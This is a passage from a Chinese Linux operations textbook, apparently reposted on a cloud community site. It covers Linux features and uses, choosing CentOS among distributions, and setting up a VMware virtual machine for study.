10一样,通过窗口、图标和菜单对系统进行操作,当然,这是Linux个人桌面领域的应用,在服务器端领域绝大多数场景下都还是使用命令行、文本模式操作Linux的。Linux系统之所以受到广大计算机爱好者的喜爱,主要原因有两个,具体如下。1)Linux属于自由软件,用户可以不用支付任何费用就可以获得系统和系统的源代码,并且可以根据自己的需要对源代码进行必要的修改,无偿使用,无约束地进行自由传播。2)Linux具有Unix的全部优秀特性,任何使用Unix操作系统或想要学习Unix操作系统的人,都可以通过学习Linux来了解Unix,同样可以获得Unix中的几乎所有优秀的功能,并且,Linux系统更开放,社区开发和全世界的使用者也更活跃。 1.4.2 Linux更多特点介绍 还记得前文对Linux操作系统特性的小结么?除了那些特点以外,其实,Linux还具有如下一些特点。 可以说Linux是Unix在个人计算机上的克隆版,仿Unix内核构建,几乎与Unix指令集向下完全兼容。 是一个完善的支持多用户、多任务,多进程、多CPU的系统。 具有很高的系统稳定性与可靠性。 具有很高的系统安全性。 有完善的网络服务,支持HTTP、FTP、SMTP、POP、SAMBA、SNMP、DNS、DHCP、SSH、TELNET等。 是基于GNU许可,自由开放的系统。 有大量第三方免费应用程序。 得到了众多业界厂商的支持,如IBM、Oracle、Intel、HP、MOTO、Google等。 有完善的大型数据库平台,包括Oracle、DB/2、Sybase、MySQL、PostgreSQL等。 有完善的图形用户界面,包括GNOME、KDE等。 有完善的开发平台,包括C/C++、Java、Perl等,支持各类图形界面API ,如GTK+、QT等。 1.5 Linux的应用领域 1.5.1 IT服务器Linux系统的应用领域 如今的IT服务器领域是Linux、Unix、Windows三分天下,Linux系统可谓后起之秀,特别是最近几年来,服务器端Linux操作系统不断地扩大市场份额,且每年增长势头迅猛,并且开始对Windows及Unix服务器市场的地位构成严重威胁。图1-8是国内服务端各个系统使用百分比的一个参考饼图。 从图1-8中可以看出,Linux(包括CentOS、Ubuntu等)市场份额占80%左右,Windows占12.8%,Solaris占6.2%。可见,在未来的服务器领域市场里,Linux是大势所趋,笔者同时还查阅了相关的资料,有些资料显示会有差异,不过可以肯定的是国内一二线互联网公司使用Linux作为服务器系统至少占比90%以上,而且这其中的80%以上使用的都是CentOS或同源的Linux系统。Linux作为企业级服务器的应用十分广泛,利用Linux系统可以为企业构架WWW服务器、数据库服务器、负载均衡服务器、邮件服务器、DNS服务器、代理服务器(透明网关)、路由器等,这些不但使企业降低了运营成本,同时还获得了Linux系统带来的高稳定性和高可靠性,且无须考虑商业软件的版权问题。随着Linux在服务器领域的广泛应用,近几年来,该系统已经渗透到电信、金融、政府、教育、银行、石油等各个行业,同时各大硬件厂商也相继支持Linux操作系统。这一切均表明,Linux在服务器市场前景光明。同时,大型、超大型互联网企业(百度、Sina、淘宝等)都在使用Linux系统作为其服务器端的程序运行平台,全球及国内排名前十的网站使用的几乎都是Linux系统,Linux已经逐步渗透到了各个领域的企业里。 1.5.2 嵌入式Linux系统应用领域 由于Linux系统开放源代码,功能强大、可靠、稳定性强、灵活而且具有极大的伸缩性,再加上它广泛支持大量的微处理器体系结构、硬件设备、图形支持和通信协议,因此,在嵌入式应用的领域里,从因特网设备(路由器、交换机、防火墙、负载均衡器等)到专用的控制系统(自动售货机、手机、PDA、各种家用电器等),Linux 操作系统都有很广阔的应用市场。特别是经过这几年的发展,它已经成功地跻身于主流嵌入式开发平台。例如,在智能手机领域,Android Linux已经在智能手机开发平台上牢牢地占据了一席之地。嵌入式系统是另一个应用领域,不是本书讨论的主要话题,读者若对此感兴趣,可参考相关文章和书籍。 1.5.3 个人桌面Linux应用领域 所谓个人桌面系统,其实就是我们在办公室使用的个人计算机系统,例如,Windows XP、Windows 7、MAC等。Linux系统在这方面的支持也已经非常好了,完全可以满足日常的办公及家用需求,具体列举如下。 浏览器上网浏览(例如,Firefox浏览器)。 办公室软件(Open Office等,兼容微软Office软件)处理数据。 收发电子邮件(例如,ThunderBird软件)。 实时通信(例如,QQ等)。 文字编辑(例如,vi、vim、Emacs)。 多媒体应用。 虽然Linux个人桌面系统的支持已经很广泛了, 但是在当前,其桌面市场份额还远远无法与Windows竞争,这其中的最大障碍可能不在于Linux桌面系统产品本身,而是用户的使用观念、操作习惯和应用技能,以及曾经在Windows上开发的软件的移植问题。 1.5.4 本书主要讲解的Linux领域说明 本书主要讲解Linux系统服务器端的知识、技术,企业生产运维经验实践。下面列举本书将要讨论的技术核心,以及哪些企业单位会用到本书的技术知识。 服务器领域的Linux运维技术。 基于x86 CPU架构的计算机硬件的Linux系统。 面向互联网的企业,或者即将将业务转移到互联网的企业。 1.6 如何选择Linux的发行版本 1.6.1 Linux的发行版本介绍 Linux内核(kernel)版本主要有4个系列,分别为Linux kernel 2.2、Linux kernel 2.4、Linux kernel 2.6,Linux kernel3.x ,Linux kernel4.x,更多更新的内核版本请浏览https://www.kernel.org/。Linux的发行商包括Slackware、Redhat、Debian、Fedora、TurboLinux、Mandrake、SUSE、CentOS、Ubuntu、红旗、麒麟……下面来看看其中几个重要的发行版本。1)Red Hat:Red Hat Linux9.0的内核为2.4.20。在版本9.0之后,Red Hat不再遵循GPL协议,成为收费产品(但仍开源),发展的新版本依次为Red Hat 3.x、Red Hat 4.x、Red Hat 5.x、Red Hat 6.x、Red Hat 7.x。2)Fedora:为Red Hat的一个分支,仍遵循GPL协议,可以认为是Red Hat预发布版。3)CentOS(Community Enterprise Operating System):Red Hat的另一个重要分支,以Red Hat 所发布的源代码重建符合GPL许可协议的Linux系统,即将Red Hat Linux源代码的商标LOGO以及非自由软件部分去除后再编译而成的版本,目前CentOS已被Red Hat公司收购,但仍开源免费。CentOS Linux是国内互联网公司使用最多的Linux系统版本,也是本书的“主人公”,本书后面所有的内容讲解都是基于CentOS这个操作系统的,绝大部分内容几乎无须任何修改也能同样适合于其他操作系统版本。 1.6.2 选择适合的Linux系统学习 在了解了Linux版本及应用领域之后,接下来就要定位我们到底该往哪个方向发展了。如果你想做一个网站的后端运维工程师,那就走服务器领域的路线,如果你想进入嵌入式领域,那就要学习嵌入式领域的技能。如果你对桌面Linux系统感兴趣,那么可以深入了解桌面系统领域。选择的领域不同,学习和要掌握的技能自然就会有差别,因此,这个选择就显得很重要了,当你阅读本书的时候,相信你已经选择了IT服务器Linux系统应用领域。没错,我们整本书的主要内容就是基于Linux服务器应用领域而写的。1. Linux发行版本的应用场景在确定了自己的发展路线之后,针对Linux系统选择一个合适的版本就显得尤为重要了。事实上,这个问题也正是大多数初学者最为头疼的一个问题,对于此,笔者的建议如下。如果你是一个Linux爱好者,想选择一个桌面系统,并且既不想使用盗版,又不想花太多钱购买商业系统软件,那么可以选择Ubuntu桌面系统。如果你需要服务器端的Linux系统,想要使用一个比较稳定的服务器系统,或者说你的目标就是进入企业从事Linux运维工作,那么建议你选择CentOS或Red Hat。在这两者当中又应首选CentOS,因为目前市场的趋势就是这样的,CentOS社区非常活跃。如果是对系统稳定性、安全性有更高的要求,或者是有特殊使用偏好的用户,可以考虑Debian或FreeBSD。如果是特别痴迷于新技术体验和追求最新的软件版本,那么可以选择Fedora,但要容忍Fedora潜在的新技术软件的Bug和系统稳定性的问题。如果喜欢更好的中文环境支持,可以选择麒麟Linux……本书主要侧重于服务器领域,并且根据国内互联网企业的市场需求来选择,本书所选择的Linux版本为CentOS,当然所讲的技术也适合Red Hat Linux及其他大部分Linux系列,CentOS是国内当前互联网企业服务器端实际应用最多的系统。其实Linux虽然发行版本众多,但是系统的核心以及大部分外围基础应用软件,都是相同的或者是简单的变种,所以只要学会学透其中的一种,即可触类旁通,因此不建议读者同时学习多个系统,更不建议工作中同时使用多个系统版本,这不但会浪费自己的学习时间,也影响企业业务的稳定性,徒增无谓的维护成本。前面已说明,本书将以企业最常用的CentOS系统为主进行讲解,但是想学习其他版本的Linux的读者,也同样适合阅读本书,因为它们的使用方法绝大部分都是相同的。 2.选择CentOS Linux的版本本书讲解的Linux运维技术主要是基于CentOS x86_64 Linux的,绝大部分知识几乎无需任何修改,同样也适用于Red Hat Linux等同源或类似Linux系统版本。下面是CentOS的主流版本在国内互联网企业的使用现状说明。 CentOS5系列:主流版本有CentOS5.5、CentOS5.8、CentOS5.10、CentOS5.11,CentOS5在企业的新业务中已经使用极少了,不推荐新手学习。 CentOS6系列:主流版本有CentOS6.4、CentOS6.6、CentOS6.7、CentOS6.9,CentOS6在企业的新业务中使用也已经不多了,不推荐新手学习。 CentOS7系列:该系列已经成熟,很多企业开始正式使用该版本,目前与6系列并行,CentOS7已经逐步成为企业主流,比较推荐新手选择此版本学习。 综上所述,老男孩推荐学习当下企业的主流应用,即CentOS7系列,本书选取了当下最新的CentOS7.6作为主要版本来讲解,让读者掌握最新的企业级操作系统技术。 1.7 搭建学习Linux的运维环境 1.7.1 虚拟机软件介绍 简单地说,虚拟机(Virtual Machine)软件就是一套特殊的软件,它可以作为操作系统独立运行,也可以运行于操作系统之上。若是运行于系统之上的虚拟机软件,在一台电脑(PC或笔记本等)上安装完虚拟机软件之后,就可以模拟出来若干台相对独立的虚拟PC设备,并且可以在每台虚拟的PC设备上安装运行操作系统,运行网络服务,其与真实的计算机设备几乎无任何使用差别。使用时,需要先在电脑上安装好虚拟机软件(例如,VMware Workstation),然后通过安装的虚拟机软件创建一个或多个虚拟机系统(即虚拟的电脑设备),最后在这些虚拟的电脑设备上安装操作系统并进行启动配置。最终实现在一台电脑上“同时”运行多个虚拟机设备系统。另外,还可以将这些虚拟的系统连成局域网,用来部署网站集群架构等更深层次的运维技术,这样的虚拟环境,在后文会有讲解。图1-9为安装WMware Workstation虚拟机软件后打开的软件界面。 如图1-9所展示的是在Windows 7桌面操作系统上安装的虚拟机软件VMware,这里通过配置VMware虚拟出了6台PC设备,且分别在这6台PC上安装了Linux系统和XP系统。这6个虚拟机同时在一台电脑上独立运行,几乎互不干扰,并且可以同在一个局域网内,还可以互相通信。经过前面对虚拟机软件的介绍,相信读者应该知道了虚拟机软件到底是什么了吧。下面,笔者介绍一些网友常用的虚拟机软件,如表1-2所示。 1.7.2 通过虚拟机软件学习 通过虚拟机软件学习是初学者学习Linux运维的最佳方式。在与部分网友和学生的交流中,“老男孩教育”的老师发现,很多初学者都认为,学习Linux就必须将自己的电脑装成Linux系统或者必须要有真正的服务器设备。而实际上这些是一些机构、书籍或网络文章给人传导的错误思想和思维。其实,学习Linux最简单、最实用的环境就是虚拟机环境(例如,通过VMware Workstation等软件学习)。笔者这样说的原因有如下几点。1)利用虚拟机软件搭建Linux学习环境简单,容易上手,最重要的是利用虚拟机模拟出来的Linux与真实的Linux几乎没有任何区别。如果购买服务器动则就要一两万元人民币,不是一般的网友所能承受的,而且声音很大,很费电。如果用PC和笔记本搭建Linux(包括双系统共存方式),那就完全是Linux环境了,这样做不但加大了你的学习难度(例如,没法用Word等记笔记,以及正常浏览网页),也与实际的工作环境相差很远,即南辕北辙了,企业里运维人员的工作环境绝大多数都是在Windows桌面系统下通过SSH工具(SecureCRT/Xshell)远程连接千百里之外的Linux服务器进行管理和维护的。因此,用虚拟机软件来搭建环境是最接近企业工作环境的。2)搭建Linux集群等大规模环境有时需要同时开启几台虚拟机(每台虚拟机仅需256~512MB内存(CentOS7以上最好是1GB以上)、6~8GB的硬盘空间即可(CentOS7以上最好12GB以上)),此时如果是用服务器或者自己的电脑安装Linux,则很难满足学习要求,购买多台服务器就更不现实了。事实上,仅仅利用价值四五千元人民币的个人笔记本电脑就可以轻松实现搭建中小规模Linux集群架构的学习需求。3)用虚拟机学习,如果电脑配置高一点,那么可以同时开启多个Linux虚拟机学习,上班、回家的路上,带着笔记本电脑即可随时学习,如果是多台真实电脑和服务器设备,就没法移动了。当然有读者会说可以放机房里,但这个代价也太大了。大多数学习者很难有这样的资源。4)使用虚拟机系统环境,我们可以对虚拟系统随意进行任何的设置和更改操作,甚至可以格式化虚拟机系统硬盘,进行重新分区等操作,而且完全不用担心会丢掉有用的数据,因为虚拟机是系统上运行的一个虚拟软件,对虚拟机系统的任何操作都相当于是在操作虚拟机的虚拟机设备和系统,不会影响电脑上的真实数据。综上所述,笔者给大家的建议就是,踏实地用虚拟机学习就足够了,学习Linux运维,几乎99.9%的知识都与硬件设备无关,我们不要为自己设置太多的限制和门槛,那样会影响学习Linux的进度,从而可能丧失学习Linux的兴趣。当然了,如果在学习的过程中有条件的话可以去接触一下真正的服务器设备。在实际教学中,我们会让学生接触到服务器,不仅可以进行RAID制作,还可以为真实的物理服务器装系统。总之一句话,如果没有设备,则用电脑上安装的虚拟机一样可以搭建逼近工作环境的学习环境;如果有了设备配合虚拟机学习,那么能利用好设备学习则更佳。在实际工作中,绝大多数人员都会使用云环境提供的虚拟机,运维人员接触到真实硬件的机会越来越少了。企业真正服务器硬件手把手介绍 http://v.qq.com/page/g/x/y/g016789xvxy.html 1.7.3 选择适合自己的虚拟机软件 1.选择适合的虚拟机软件如果你使用的是Windows系统,那么,老男孩推荐你使用VMware WorkStation,如果是MacOS平台则可以选择Virtual PC,如果你用的是Ubuntu系统,则可以选择Xen、KVM、VMware(Linux版本)。本书将以在Windows 7系统上安装VMware WorkStation 12(这里读者也可以选择更高版本即14 PRO版)为例,为大家讲解Linux运维技术,同时还会在DELL R710真实服务器环境上进行测试,其他环境的搭建大同小异,进入到Linux里面几乎没有差别。2.虚拟机软件对硬件的要求虚拟机软件的原理是利用宿主机物理硬件资源虚拟PC设备,因此对物理机硬件的要求比较高,其中最主要的是内存、硬盘和CPU资源。首先,宿主机物理内存要足够大,最低要在8GB以上(CentOS7最好是16GB以上),因为在创建虚拟设备时,要为每个虚拟机分配一定的内存资源(CentOS7一般最小为1024MB,内存设置太小会出现特殊问题)和硬盘空间(默认为10GB以上,实际最好是20GB以上),SSD(固态硬盘)最好,同样也要分配CPU资源,CPU最好是I5以上,例如,为每个虚拟机分配一核CPU。当然了,多个虚拟机系统也可以同时占用一核CPU,在日常学习Linux时,如果不进行大量并行安装软件等消耗CPU资源的操作,使用虚拟机环境还是非常舒服的。 1.7.4 安装与使用VMware虚拟机软件 1.对VMware Workstation版本的建议表1-3中给出的是选择VMware Workstation版本的建议,仅为建议,非必须。 2.虚拟机软件的安装在Windows系统下安装了适合Windows版本的VMware Workstation之后,就可以在VMware Workstation上创建虚拟机了,之后运行创建的虚拟机,在虚拟机上安装CentOS Linux操作系统,这个安装过程与在实际生产环境下的安装是一样的。VMware Workstation虚拟机软件的安装很简单,只需要按照Windows常规方法持续按“下一步”即可完成,这里不再讲述,如果你遇到了问题可以去前言中寻找笔者为本书建立的问题反馈交流群。 1.7.5 创建一个虚拟机实践 1.创建一个新的虚拟机1)虚拟机软件安装完毕后,双击桌面上的VMware Workstation图标或者在开始程序菜单里找到VMware Workstation图标以启动VM应用程序,如图1-10所示。 2)接下来按Ctrl+N快捷键(或者选择菜单栏“文件”→“新建虚拟机”)创建一个新的虚拟机,此时会出现新建虚拟机向导窗口,如图1-11所示。3)在如图1-11所示的虚拟机创建向导界面中,选择“自定义(高级)”,即自定义安装,然后点击“下一步”按钮继续,弹出如图1-12所示的界面。 4)图1-12描述了虚拟机硬件兼容和虚拟设备大小限制,在图1-12右侧的“限制”下面,可以发现软件对要创建的虚拟机的硬件大小会有限制,例如,内存最大为64GB,CPU“16个处理器”,磁盘“8TB磁盘大小”等,不过,这些并不会影响我们的学习,保留默认选择即可。然后点击“下一步”按钮继续,此时会出现如图1-13所示的窗口。5)在如图1-13所示的界面中,“为虚拟机选择如何安装系统”这一步骤很关键,请选择界面最下面标示的“稍后安装操作系统”,表示创建虚拟机后不再默认安装系统了,即创建虚拟机后,我们可以手动选择镜像或光盘放入虚拟光驱自行安装,如果选择了“安装程序光盘映像文件”则在创建完虚拟机后就会自动安装系统,这样做虽然很方便,但是会增加太多的安装包,并且会自动分区,这样就不是企业环境安装的标准了。选择完毕,然后点击“下一步”按钮继续,这时会出现如图1-14所示的界面。6)“为虚拟机选择系统类型及内核版本”也很关键,其作用是选择什么系统类型以及内核版本进行系统安装,如果选错了,则可能无法正确安装系统。这里选择的是“Linux”系统类型,为“CentOS 64位”系统,因此也可以在系统类型中直接选择,选择完毕,然后点击“下一步”按钮继续,这时会出现如图1-15所示的界面。7)在如图1-15所示的界面中,要为虚拟机命名并选择安装程序的路径,路径要选择大一点的宿主机磁盘分区,剩余空间至少要大于20GB,配置完毕后点击“下一步”按钮继续,这时出现的界面如图1-16所示。 8)在如图1-16所示的界面中,要选择虚拟机对应的CPU的颗数,以及每个CPU的核数,默认都是1,保持默认选择即可,我们仅仅是用虚拟机进行学习和实验,不要求虚拟机设备资源有多好。点击“下一步”按钮继续,这时出现的界面如图1-17所示。 9)“为虚拟机选择内存资源大小”也很关键,默认选择的虚拟机内存大小为1024MB,对于CentOS7来说正好合适。之后,点击“下一步”按钮继续,这时出现的界面如图1-18所示。 10)“为虚拟机选择网络类型”极其关键,VMware虚拟机常见的网络类型有bridged(桥接)、NAT(地址转换)、host-only(仅主机)3种,在分析如何选择之前,先向大家简单介绍下这三种网络类型。 笔者的写书环境是办公室环境,有物理路由器,不经常更换网络环境,因此,这里选择以桥接模式为例为大家讲解(如图1-22所示)。在选择了网络类型之后,点击“下一步”按钮继续,此时出现的界面如图1-23所示。11)在如图1-23所示的界面中选择虚拟机的I/O控制器类型,采用默认类型即可,选择完毕,点击“下一步”按钮继续,此时出现的界面如图1-24所示。 12)在选择虚拟机磁盘类型时,采用默认的SCSI即可(VM高版本会有SAS选项,不过建议不要选该选项),选择完毕后,点击“下一步”按钮继续,会出现如图1-25所示的界面。 13)在选择虚拟机使用的磁盘时,采用默认的“创建新虚拟磁盘”即可创建一个虚拟磁盘,选择完毕后,点击“下一步”按钮继续,会弹出如图1-26所示的界面。14)在选择虚拟机使用的磁盘容量时,仍然是采用默认的20GB的配置,选择完毕后,点击“下一步”按钮继续,此时出现的界面如图1-27所示。 15)如图1-28所示的界面显示的是配置的虚拟机的所有选项信息,如果与前面选择一致的话,则点击“下一步”按钮继续,出现的界面如图1-28所示。 16)图1-28为显示配置的虚拟机的所有选项信息,可以通过滚动条下拉查看,点击左下的“自定义硬件”按钮可以自定义添加其他硬件,例如磁盘、网卡等,这里保留默认。选择完毕后,点击“下一步”按钮继续,会出现如图1-29所示的界面。 17)图1-29所示的界面中展示的是创建虚拟机后的界面信息,左边是虚拟机的名称,右边是虚拟机的实际配置。在这个窗口中,可以为创建好的虚拟机配置光驱,将CentOS镜像文件(CentOS-7-x86_64-DVD-1810,需要单独下载,如果阿里云提供的地址没有CentOS7.6了,那么下载更高的7系列版本也可以,只要是7系列都可以)放到光驱里,就可以启动虚拟机安装Linux系统了。选择窗口右边的光驱选项,会出现如图1-30所示的界面。 18)将CentOS7.6 ISO镜像文件载入光驱,接下来就只剩下启动虚拟机安装系统了。点击“开启虚拟机”即可,如图1-31所示。 到此为止,VMware虚拟机的准备工作就全部做完了,第2章将为大家讲解安装Linux系统的知识。 1.8 本章重点 1)了解什么是操作系统以及操作系统简单原理图。2)了解Unix/Linux的发展历史。3)了解市面上常见的Unix系统版本。4)了解Unix及Linux诞生发展的几个关键人物。5)重点了解GNU、GPL知识。6)了解Linux系统的特点。7)了解Linux系统的常见发行版本,不同场景选择。8)重点了解CentOS和Red Hat的区别和联系。9)了解CentOS各个版本的应用场景及企业应用情况。10)学会搭建学习Linux的环境。注意:最好是能口头表达出上述了解的内容。 1.9 本章相关问题 1)请详细描述GNU的相关知识和历史事件。2)请描述什么是GPL?3)企业工作中如何选择各Linux发行版?4)Red Hat Linux和CentOS Linux有什么区别和联系?5)请说出3个以上你认为Linux受欢迎的特点。 1.10 本章参考资料 操作系统介绍资料http://baike.baidu.com/view/880.htm 自由软件基金会http://www.gnu.org/philosophy/free-sw.html GNU与GPL知识http://www.gnu.org/home.zh-cn.html GPL协议英文版http://www.gnu.org/licenses/gpl.html 虚拟机及虚拟机软件的知识http://zh.wikipedia.org/wiki/%E8%99%9A%E6%8B%9F%E6%9C%BA%E6%AF%94%E8%BE%83#.E8.99.9B.E6.93.AC.E6.A9.9F.E5.99.A8.E6.AF.94.E8.BC.83 本章内容对应的视频精品资料http://edu.51cto.com/course/course_id-839.html
文章
Linux · Unix · Windows · 虚拟化 · 运维
2019-11-11
华章出版社
340 人关注 | 1 讨论 | 10124 内容
+ 订阅
  • 带你读《Java并发编程的艺术》之一:并发编程的挑战
查看更多 >
阿里云数据库
145872 人关注 | 287 讨论 | 2808 内容
+ 订阅
  • 阿里云原生多模数据库Lindorm联合东软云科技 赋能车联网数字化运营运维创新升级
  • 运维人必看!《应用智能运维实践》十年运维人的经验总结
  • 云原生数据库助力北京公交 日均800万人次智慧出行
查看更多 >
机器智能技术
322 人关注 | 2 讨论 | 285 内容
+ 订阅
  • 企业如何利用AI、IOT、AR、VR、区块链和大数据留住客户
  • 未来人工智能在物流和运输中的作用
  • 人工智能在未来将要经历的七个阶段
查看更多 >
开发与运维
3867 人关注 | 92030 讨论 | 88764 内容
+ 订阅
  • 运维人必看!《应用智能运维实践》十年运维人的经验总结
  • 那些你不知道的TCP冷门知识!
  • 政府行业应用解决方案 | 环保行业
查看更多 >
安全
735 人关注 | 21424 讨论 | 26624 内容
+ 订阅
  • 避免掉进“重造轮子”的坑: 从审核系统说起
  • 教育行业优质解决方案分享【智慧教育局校平台解决方案】
  • 政府行业应用解决方案 | 环保行业
查看更多 >